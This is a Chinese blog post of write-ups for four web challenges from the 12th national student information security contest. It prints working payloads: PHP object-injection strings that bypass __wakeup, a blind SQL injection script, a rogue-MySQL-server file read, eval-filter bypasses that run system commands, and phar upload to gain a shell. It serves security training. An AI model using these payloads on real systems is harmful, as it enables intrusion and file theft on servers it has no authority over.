Hu3sky's blog

第12届全国大学生信息安全竞赛Web题解

Word count: 1,940 / Reading time: 9 min
2019/04/23 Share

全国大学生

Web1

一共三个考点:

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

error_reporting(E_ALL);
class Handle
{
private $handle;

// 绕过wakeup
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}

public function __construct($handle)
{
$this->handle = $handle;
}

public function __destruct()
{
$this->handle->getFlag();
}
}

class Flag
{
public $file;
public $token;
public $token_flag;

function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}

public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}

?>

解法一(MD5爆破)

1
2
3
4
5
6
7
8
9
10
11
require "hint.php";

$flag = new Flag('flag.php');
$flag->token = 'b706835de79a2b4e80506f582af3676a';
$flag->token_flag = '666';

$handle = new Handle($flag);

$s = serialize($handle);

echo urlencode($s);

结果拿到burp去跑,运气好很快就出flag,运气不好- -,一直爆一直不出

解法二(引用赋值-推荐)

@Virtua1师傅的解法,膜一波

1
2
3
4
5
6
7
8
9
10
11
require "hint.php";

$flag = new Flag('flag.php');
$flag->token = 'b706835de79a2b4e80506f582af3676a';
$flag->token_flag = &$flag->token; #引用赋值

$handle = new Handle($flag);

$s = serialize($handle);

echo urlencode($s);

最后直接

1
http://url///ctf_web1/index.php?file=hint.php&payload=O%3a6%3a%22Handle%22%3a5%3a%7bs%3a14%3a%22%00Handle%00handle%22%3bO%3a4%3a%22Flag%22%3a3%3a%7bs%3a4%3a%22file%22%3bs%3a8%3a%22flag%2ephp%22%3bs%3a5%3a%22token%22%3bs%3a32%3a%22b706835de79a2b4e80506f582af3676a%22%3bs%3a10%3a%22token_flag%22%3bR%3a4%3b%7d%7d

Web2

第一步是登陆处的盲注
过滤 or if sleep benchmark
pow函数,在pow函数之外为假的时候会返回error
1
利用pow的溢出判断limit位数的ascii
1

在题目中正确返回登陆失败,错误返回数据库失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
VERSION = &quot;version()&quot;
USERNAME = &quot;select username from user limit 1&quot;
PASSWORD = &quot;select (select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1,1)&quot;
url = http://cba0e34ee5d34db985195191f4c681d5c32c4b92db574826.changame.ichunqiu.com&quot;
result = ''
for i in range(1, 50):
    for j in range(31, 128):
        payload = {
            &quot;username&quot;: &quot;1'-pow(2,1024-ascii(substr(({data}),{pos},1))+{code})-- -&quot;.format(
                data=PASSWORD,
                pos=i,
                code=j
            ),
            &quot;password&quot;: &quot;1&quot;
        }
        try:
            resp = requests.post(url=url, data=payload)
            resp.encoding = 'utf8'
            if '数据库操作失败' in resp.text:
                result += chr(j)
                print(result)
                break
        except Exception as e:
            print(e)
            continue

利用mysql别名跑出
参考https://xz.aliyun.com/t/4105
password : F1AG@1s-at_/fll1llag_h3r3
进入后台为远程数据库连接界面,想到fake_mysqlServer读文件

参考文章 https://xz.aliyun.com/t/3973
修改这个脚本里的filelist
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
然后让题目服务器连接即可
在日志里查看flag
1

Web3

源码在
calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php  
error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱 
if(!isset($_GET['c'])){ 
    show_source(__File__); 

else{ 
    $content = $_GET['c']; 
    if(strlen($content)>=80) 
    { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach($blacklist as $blackitem){ 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    eval('echo '.$content.';'); 
    }

拿到源码后,发现需要命令执行,但是过滤了很多,这里我们就来分析分析
黑名单
1
输入的不能在黑名单里
白名单
1
利用的函数只能是白名单里的,不能输入任何不在白名单里的字符串
1

于是思路很明显了,利用给出的白名单函数,让eval读取flag.php文件

payload构造

在给出的math函数
http://www.w3school.com.cn/php/php_ref_math.asp
发现这么一个函数

1
base_convert(number,frombase,tobase)

任意进制间的转换
于是构造一下payload,需要不出现字母,于是选了10进制
1

1
base_convert(55490343972,10,36)()   #phpinfo()

1

成功,注意末尾添加函数的括号,因为括号不在黑名单里
于是想的是,直接用system来读取flag

1
system(cat flag.php)

但是构造中发现了很多问题
首先空格在黑名单里,需要绕
网上大概的方法

1
2
3
${IFS}
%09
<>

后面两个没法用,<> % 直接被当运算符处理了,也就是只能用第一个,构造了出来,还有一个问题,传入c参数的最大长度<80,如果用${IFS},去cat flag.php
构造的长度,太长了,即使是把flag.php用通配符*去替换,也还是太长

1
2
3
base_convert(1751504350,10,36)(base_convert(15941,10,36)${(base_convert(23896,10,36)}*)

#system(cat${IFS}*)

1

于是又想到一种思路,把system(cat flag.php)全部转为16进制再转10进制,再用base_convert去转回字符串,

1
2
# bin2hex不在白名单,可用base_convert输出
echo hexdec(bin2hex("system(cat flag.php)"));

但是,转出来的长度太长了,会被加上科学计数法,识别不了
1

然后就一直卡在绕长度这了,Hpdoger师傅问了CNSS的师傅,说是不用绕长度,给了个提示,拼接变量,类似于平时我们制作免杀马的一种方式

1
2
<?php
$_GET{a}($_GET{b}); # []在黑名单,我们用{}

1

于是构造出来的payload

1
2
3
base_convert(37907361743,10,36) # hex2bin 把16进制转字符串
dechex(1598506324) # 把10进制转16进制,是_GET字符串
$$pi{0}(($$pi){1}) # $_GET{0}($_GET{1})
1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat flag.php

另一payload

1
2
# exec(nl f*)
base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))

Web4(未解出)

比赛中得到的信息

首页有一个文件包含的点,通过包含以及目录扫描能够得到以下信息以及源码

1
2
3
4
5
6
7
8
├── app
│ ├── flag.php
│ ├── index.php
│ └── Up10aD.php
├── backup.zip
├── index.php
├── robots.txt
└── upload

由于没有源码的截图,所以这里借一下mochazz师傅的图
1
1

然后在上传点可以利用phar,getshell
然后发现有一个flag.txt,是经过加密的
然后就没有思路了

赛后wp学习

verify函数

1
2
3
4
5
6
7
8
public function verify($key) 
{
if (sha1($key) === $this->getHash())
{
return "too{young-too-simple}";
}
return false;
}

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php if (!defined('LFI')) 
{
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key)
{
echo "Please provide access key<br \>";
echo '$_GET["key"];'; exit();
}
$flag = $sdk->verify($key);
if ($flag)
{
echo $flag;
}
else {
echo "Wrong Key"; exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

说明是有一个FlagSDK类可以利用的,getHash()函数应该就在该类里,于是调用,这里直接调用会报错,因为该方法是私有类,那么如何去调用呢,这里就需要用到一个神奇的东西,反射机制,可以做到调用private的方法
https://www.php.net/manual/zh/book.reflection.php

1
2
3
4
5
6
a=use interesting\FlagSDK;
$sdk=new FlagSDK();
# https://www.php.net/manual/zh/class.reflectionmethod.php
$a = new ReflectionMethod('interesting\FlagSDK', 'getHash');
$a->setAccessible(true);
echo $a->invoke(new interesting\FlagSDK);

(借用_f61d_的图)

1

但是还有一个点

1
sha1($key) == $this->getHash()
1
2
3
4
5
6
7
8
<?php
namespace interesting;
function sha1($key)
{
return "aaa";
}
echo sha1("abcd");
?>

这样sha1的结果一直都是aaa,因为已经重写

于是,当你命名了命名空间,需要在另一个文件里调用,但是同时又在该文件里重写了即将调用的命名空间里的这个方法时,就可重写该方法。

于是

1
2
3
4
5
6
7
8
9
<?php
a=namespace interesting;
function sha1($key){
return "a356bc8d9d3e69beea3c15d40995f395425e7813";
}
$sdk = new FlagSDK();
$flag = $sdk->verify($key);
var_dunmp($flag);
?>

(借用_f61d_的图)
1

CATALOG
  1. 1. 全国大学生
    1. 1.1. Web1
      1. 1.1.1. 解法一(MD5爆破)
      2. 1.1.2. 解法二(引用赋值-推荐)
    2. 1.2. Web2
    3. 1.3. Web3
      1. 1.3.1. payload构造
    4. 1.4. Web4(未解出)
      1. 1.4.1. 比赛中得到的信息
      2. 1.4.2. 赛后wp学习